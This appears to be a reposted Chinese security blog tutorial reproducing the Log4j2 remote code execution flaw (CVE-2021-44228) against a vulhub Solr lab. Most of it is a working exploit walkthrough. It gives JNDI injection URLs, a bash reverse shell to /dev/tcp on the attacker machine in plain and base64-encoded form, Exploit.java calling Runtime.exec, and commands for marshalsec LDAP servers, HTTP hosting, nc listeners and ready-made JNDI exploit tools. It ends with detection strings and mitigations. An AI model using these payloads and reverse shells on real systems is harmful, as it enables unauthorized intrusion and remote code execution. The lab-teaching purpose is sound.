漏洞原理
啥是log4j2?
log4j2是apache下的java應(yīng)用常見(jiàn)的開(kāi)源日志庫(kù),是一個(gè)就Java的日志記錄工具。在log4j框架的基礎(chǔ)上進(jìn)行了改進(jìn),并引入了豐富的特性,可以控制日志信息輸送的目的地為控制臺(tái)、文件、GUI組建等,被應(yīng)用于業(yè)務(wù)系統(tǒng)開(kāi)發(fā),用于記錄程序輸入輸出日志信息。
啥是JNDI?
由于漏洞利用會(huì)涉及到JNDI注入相關(guān)的知識(shí),這里簡(jiǎn)要做一個(gè)對(duì)JNDI的介紹。
JNDI,全稱為Java命名和目錄接口(Java Naming and Directory Interface),是SUN公司提供的一種標(biāo)準(zhǔn)的Java命名系統(tǒng)接口,允許從指定的遠(yuǎn)程服務(wù)器獲取并加載對(duì)象。JNDI相當(dāng)于一個(gè)用于映射的字典,使得Java應(yīng)用程序可以和這些命名服務(wù)和目錄服務(wù)之間進(jìn)行交互。JNDI注入攻擊時(shí)常用的就是通過(guò)RMI和LDAP兩種服務(wù),本文以LDAP服務(wù)為例進(jìn)行復(fù)現(xiàn)。
log4j2遠(yuǎn)程代碼執(zhí)行漏洞原理
cve編號(hào):CVE-2021-44228
log4j2框架下的lookup查詢服務(wù)提供了{(lán)}字段解析功能,傳進(jìn)去的值會(huì)被直接解析。例如${java:version}會(huì)被替換為對(duì)應(yīng)的java版本。這樣如果不對(duì)lookup的出棧進(jìn)行限制,就有可能讓查詢指向任何服務(wù)(可能是攻擊者部署好的惡意代碼)。
攻擊者可以利用這一點(diǎn)進(jìn)行JNDI注入,使得受害者請(qǐng)求遠(yuǎn)程服務(wù)來(lái)鏈接本地對(duì)象,在lookup的{}里面構(gòu)造payload,調(diào)用JNDI服務(wù)(LDAP)向攻擊者提前部署好的惡意站點(diǎn)獲取惡意的.class對(duì)象,造成了遠(yuǎn)程代碼執(zhí)行(可反彈shell到指定服務(wù)器)。
畫(huà)個(gè)簡(jiǎn)單點(diǎn)的漏洞利用示意圖,如下:
盡可能畫(huà)的詳細(xì)一點(diǎn),大概是下圖。
?攻擊者構(gòu)造payload,在JNDI接口lookup查詢進(jìn)行注入,payload為${jndi:ldap:惡意url/poc},JNDI會(huì)去對(duì)應(yīng)的服務(wù)(如LDAP、RMI、DNS、文件系統(tǒng)、目錄服務(wù)…本例為ldap)查找資源,由于lookup的出棧沒(méi)做限制,最終指向了攻擊者部署好的惡意站點(diǎn),下載了遠(yuǎn)程的惡意class,最終造成了遠(yuǎn)程代碼執(zhí)行rce。
?靶場(chǎng)搭建
?靶機(jī):Ubuntu? 192.168.200.129(無(wú)所謂是不是Ubuntu,隨便找個(gè)地方用docker啟動(dòng)就行)
用vulhub靶場(chǎng)搭建,首先進(jìn)入目錄CVE-2021-44228中,docker啟動(dòng)命令:
docker-compose up –d
查看一下端口:
Docker-compose up -d
?發(fā)現(xiàn)端口是8983,瀏覽器訪問(wèn)http://192.168.200.129:8983/
?漏洞檢測(cè)
?用dnslog平臺(tái)檢測(cè)dns回顯,看看有沒(méi)有漏洞存在,網(wǎng)址為:DNSLog Platform
?點(diǎn)擊Get SubDomin獲取一個(gè)子域名,我這里是3dto27.dnslog.cn
在/solr/admin/cores?有個(gè)參數(shù)可以傳,這就是個(gè)注入點(diǎn),我們?cè)囋嚹懿荒茌敵鰆ava版本,構(gòu)造payload,訪問(wèn)的url如下:
http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3dto27.dnslog.cn }
?注意別忘了將url中的ip改為靶機(jī)ip,注入部分中的3dto27.dns.log.cn改為你在Get SubDomin獲取的子域名。如果存在log4j2漏洞,我們將在DNSLog平臺(tái)看到回顯。
返回剛才的DNSLog平臺(tái),點(diǎn)擊刷新記錄Refresh Record(可能比較慢,不要著急,可以多點(diǎn)幾次Refresh Record),可以看到有數(shù)據(jù):在DNS Query Record一欄下面出現(xiàn)了條目,回顯了java版本1.8.0_102,說(shuō)明存在log4j漏洞。
漏洞利用(獲取反彈shell)?
我第一次復(fù)現(xiàn)的時(shí)候,直接用了JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar或JNDIExploit-1.4-SNAPSHOT.jar,可以在github上搜一下(后文會(huì)介紹),但我寫(xiě)博客的時(shí)候考慮到用這種工具感覺(jué)像是一鍵復(fù)現(xiàn)漏洞,對(duì)漏洞利用的每個(gè)步驟好像并不是很明確,所以我們還是先不用這種方法,還是老老實(shí)實(shí)自己編寫(xiě)一下惡意代碼,啟動(dòng)一下惡意的http服務(wù)站點(diǎn)和LDAP服務(wù),完整的演示一下過(guò)程。
靶機(jī):Ubuntu? 192.168.200.129 (隨便找個(gè)地方用docker搭一下就行)
攻擊機(jī): kali? 192.168.200.131 (無(wú)所謂是不是kali,windows都行)
方法一:編寫(xiě)惡意文件
我們先編寫(xiě)以下的惡意文件Exploit.java,我們企圖反彈shell到kali(ip為192.168.200.131)的7777端口,因此對(duì)應(yīng)的bash命令為:
bash -i >& /dev/tcp/192.168.200.131/7777 0>&1
然后對(duì)上述命令進(jìn)行base64編碼,這里給出一個(gè)網(wǎng)站,可以直接進(jìn)行payload的編碼:Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
編碼結(jié)果為:
?bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
好的,有了編碼結(jié)果,我們就可以編寫(xiě)惡意文件了,編寫(xiě)以下代碼命名為Exploit.java。
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
然后我們把Exploit.java編譯為Exploit.class,最好保證javac的版本為1.8。命令如下:
javac Exploit.java
我是在物理機(jī)中編譯的,編譯完成之后的.class文件立即被windows安全中心的病毒和威脅防護(hù)功能給干掉了,需要還原一下(手動(dòng)狗頭)。把編譯好的Exploit.class放到攻擊機(jī)kali的隨便一個(gè)目錄下:
并在此目錄開(kāi)啟http服務(wù),我這里把端口設(shè)置為了4444,命令如下:
python -m http.server 4444
?然后瀏覽器訪問(wèn)攻擊機(jī)ip:端口,我這里為192.168.200.131:4444 ,應(yīng)該可以看到一個(gè)目錄:
?讀者只要保證你的站點(diǎn)目錄里有Exploit.class就行,至于我目錄里有啥其他的讀者不用在意。接下來(lái),我們?cè)诠魴C(jī)啟動(dòng)LDAP服務(wù)。這里使用工具marshalsec-0.0.3-SNAPSHOT-all.jar來(lái)快速開(kāi)啟,這個(gè)工具在我的上一篇博客中有提到,詳情見(jiàn)
(56條消息) Fastjson反序列化漏洞原理與漏洞復(fù)現(xiàn)(基于vulhub,保姆級(jí)的詳細(xì)教程)_Bossfrank的博客-CSDN博客
下載鏈接為marshalsec-0.0.3-SNAPSHOT-all.jar,下載完之后用mvn clean package -DskipTests生成.jar文件。在上一篇博客中,我們是用這個(gè)工具建立了RMI 服務(wù),這次我們是要用這個(gè)工具建立LDAP服務(wù)。
好了,廢話說(shuō)完了,現(xiàn)在我們?cè)诠魴C(jī)marshalsec-0.0.3-SNAPSHOT-all.jar所在目錄開(kāi)啟LDAP監(jiān)聽(tīng),命令中的1389為L(zhǎng)DAP服務(wù)的端口,你也可以換成別的端口。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://剛才http服務(wù)的地址:端口號(hào)/#Exploit" 1389
本例中的命令為:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.200.131:4444/#Exploit" 1389
?接著在攻擊機(jī)另起一個(gè)終端,監(jiān)聽(tīng)之前Exploit.java里面寫(xiě)的反彈shell的端口7777,命令為:
nc -lvvp 7777
?最后一步,也是最關(guān)鍵的一步,進(jìn)行JNDI注入,我們在注入點(diǎn)/solr/admin/cores?action構(gòu)造一個(gè)JNDI注入如下:
${jndi:ldap://192.168.200.131:1389/Exploit}
完整的url為:
http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}
也可以用Burp抓包改包,但由于是get請(qǐng)求,直接輸入url就行了。
http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}
訪問(wèn)上述url(別忘了把第一個(gè)ip改為靶機(jī)ip,第二個(gè)ip改為之前建立的LDAP服務(wù)的地址:端口號(hào)),應(yīng)該就成功了,訪問(wèn)的頁(yè)面回顯如下:
?攻擊機(jī)啟動(dòng)的LDAP服務(wù)的終端顯示如下:
?攻擊機(jī)開(kāi)啟的HTTP服務(wù)的終端顯示如下:
?可以看到最后兩條日志信息,靶機(jī)已經(jīng)通過(guò)GET方法請(qǐng)求了我們的惡意代碼Exploit.class,狀態(tài)碼為200,成功響應(yīng),此時(shí)應(yīng)該已經(jīng)實(shí)現(xiàn)了RCE遠(yuǎn)程代碼執(zhí)行。我們查看對(duì)7777端口進(jìn)行監(jiān)聽(tīng)的終端,成功獲取了shell:
已經(jīng)可以在攻擊機(jī)執(zhí)行任何代碼了:
?這樣就實(shí)現(xiàn)了攻擊,復(fù)現(xiàn)了log4j的遠(yuǎn)程代碼執(zhí)行漏洞。
復(fù)現(xiàn)成功之后別忘了用如下命令關(guān)閉靶場(chǎng)。
docker-compose down
?方法二:直接利用現(xiàn)成的JNDI注入工具
這種方法更為便捷,屬于是一鍵部署了。用到的工具為JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,項(xiàng)目地址:sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)
下載之后還要用maven生成.jar可執(zhí)行文件,在pom.xml目錄下運(yùn)行:mvn clean package -DskipTests? ?如果沒(méi)有mvn,參閱
(51條消息) 史上最全安裝Maven教程_安裝mvnw_小Du猿的博客-CSDN博客
如果build成功,會(huì)生成一個(gè)target目錄,里面會(huì)有JNDI-Injection-Exploit-1.0-SNAPSHOT-.jar
?使用這個(gè)工具,我們就不用自己編寫(xiě)惡意代碼.class再上傳服務(wù)器了,直接用這個(gè)工具輸入對(duì)應(yīng)的命令就行了。
與方法一類似,我們的目標(biāo)是反彈shell到目標(biāo)端口,反彈shell的命令為:bash -i >& /dev/tcp/傳反彈shell的主機(jī)ip/端口號(hào) 0>&1
本例為(一會(huì)我們會(huì)在攻擊機(jī)的一個(gè)終端監(jiān)聽(tīng)6666端口):
bash -i >& /dev/tcp/192.168.200.131/6666 0>&1
還是要對(duì)這個(gè)命令進(jìn)行base64編碼,網(wǎng)址再貼一遍:
Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
編碼后的結(jié)果為:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
?然后我們利用JNDI注入工具把這個(gè)反彈shell命令部署到LDAP服務(wù)上去,在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar所在目錄運(yùn)行如下命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "構(gòu)造反彈shell的命令的base64編碼" -A "攻擊機(jī)ip"
?本例為:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.131"
運(yùn)行之后的終端顯示如下:
?可以看到,這里已經(jīng)一鍵部署好了RMI和LDAP服務(wù)的站點(diǎn),并給出了路徑,JDK1.8的版本為ldap://192.168.200.131:1389/Exploit,JDK1.7的版本為:ldap://192.168.200.131:1389/Exploit7 。這兩個(gè)任選一個(gè)都行。
然后再打開(kāi)一個(gè)終端,監(jiān)聽(tīng)一個(gè)端口,本例監(jiān)聽(tīng)的是6666(前面的反彈shell命令寫(xiě)的就是6666):
nc –lvvp 6666
?最后一步和方法一一樣,構(gòu)造payload,由于是GET方式,瀏覽器訪問(wèn)以下任意一個(gè)url即可:
http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}
http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit7}
用rmi應(yīng)該也行:
http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit}
http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit7}
這里以訪問(wèn)LDAP的Exploit為例:
?JNDI注入工具的終端顯示如下:
?打開(kāi)剛才監(jiān)聽(tīng)的終端,成功獲取了反彈shell:
此時(shí)已經(jīng)可以執(zhí)行任意命令了:
這樣就利用JNDI注入工具實(shí)現(xiàn)了攻擊,復(fù)現(xiàn)了log4j的遠(yuǎn)程代碼執(zhí)行漏洞。
復(fù)現(xiàn)成功之后別忘了用如下命令關(guān)閉靶場(chǎng)。
docker-compose down
也可以使用其他的注入工具,如JNDIExploit-1.4-SNAPSHOT.jar ,Github鏈接:WhiteHSBG/JNDIExploit: 對(duì)原版https://github.com/feihong-cs/JNDIExploit 進(jìn)行了實(shí)用化修改
這個(gè)工具是在攻擊機(jī)的對(duì)應(yīng)目錄運(yùn)行:
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻擊機(jī)ip
??
然后監(jiān)聽(tīng)個(gè)端口7777,再瀏覽器訪問(wèn)
http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Basic/ReverseShell/192.168.200.131/7777}
之后就獲得shell了。
?如下圖,攻擊成功。
?結(jié)語(yǔ)
?log4j2是2021年底爆出的非常嚴(yán)重的漏洞,可謂是風(fēng)靡一時(shí),“血洗互聯(lián)網(wǎng)”,也是安全公司面試的常見(jiàn)題目,我們應(yīng)該了解這個(gè)漏洞的原理及利用方式。
如何排查是否受到了攻擊?
檢查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符來(lái)發(fā)現(xiàn)可能的攻擊行為,前面復(fù)現(xiàn)的過(guò)程在payload的構(gòu)造中都出現(xiàn)了這樣的字符串,這是攻擊的典型標(biāo)志。
如何對(duì)log4j2的攻擊進(jìn)行防御?
1.設(shè)置log4j2.formatMsgNoLookups=True。相當(dāng)于直接禁止lookup查詢出棧,也就不可能請(qǐng)求到訪問(wèn)到遠(yuǎn)程的惡意站點(diǎn)。
2.對(duì)包含有"jndi:ldap://"、"jndi:rmi//"這樣字符串的請(qǐng)求進(jìn)行攔截,即攔截JNDI語(yǔ)句來(lái)防止JNDI注入。
3.對(duì)系統(tǒng)進(jìn)行合理配置,禁止不必要的業(yè)務(wù)訪問(wèn)外網(wǎng),配置網(wǎng)絡(luò)防火墻,禁止系統(tǒng)主動(dòng)外連網(wǎng)絡(luò)等等。
4.升級(jí)log4j2組件到新的安全的版本。
這是我的第二篇CSDN博客,希望以后能堅(jiān)持多寫(xiě)寫(xiě)網(wǎng)絡(luò)安全相關(guān)的文章,還望讀者們多多關(guān)注,多多支持。如果有什么問(wèn)題,歡迎評(píng)論區(qū)討論。
最后我在b站上看了一個(gè)對(duì)此漏洞進(jìn)行復(fù)現(xiàn)的視頻,講的挺清楚的,這里給個(gè)鏈接吧:文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-456866.html
【面試必問(wèn)】Log4j漏洞復(fù)現(xiàn)及原理刨析,簡(jiǎn)單易懂_嗶哩嗶哩_bilibili文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-456866.html
到了這里,關(guān)于log4j2遠(yuǎn)程代碼執(zhí)行漏洞原理與漏洞復(fù)現(xiàn)(基于vulhub,保姆級(jí)的詳細(xì)教程)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!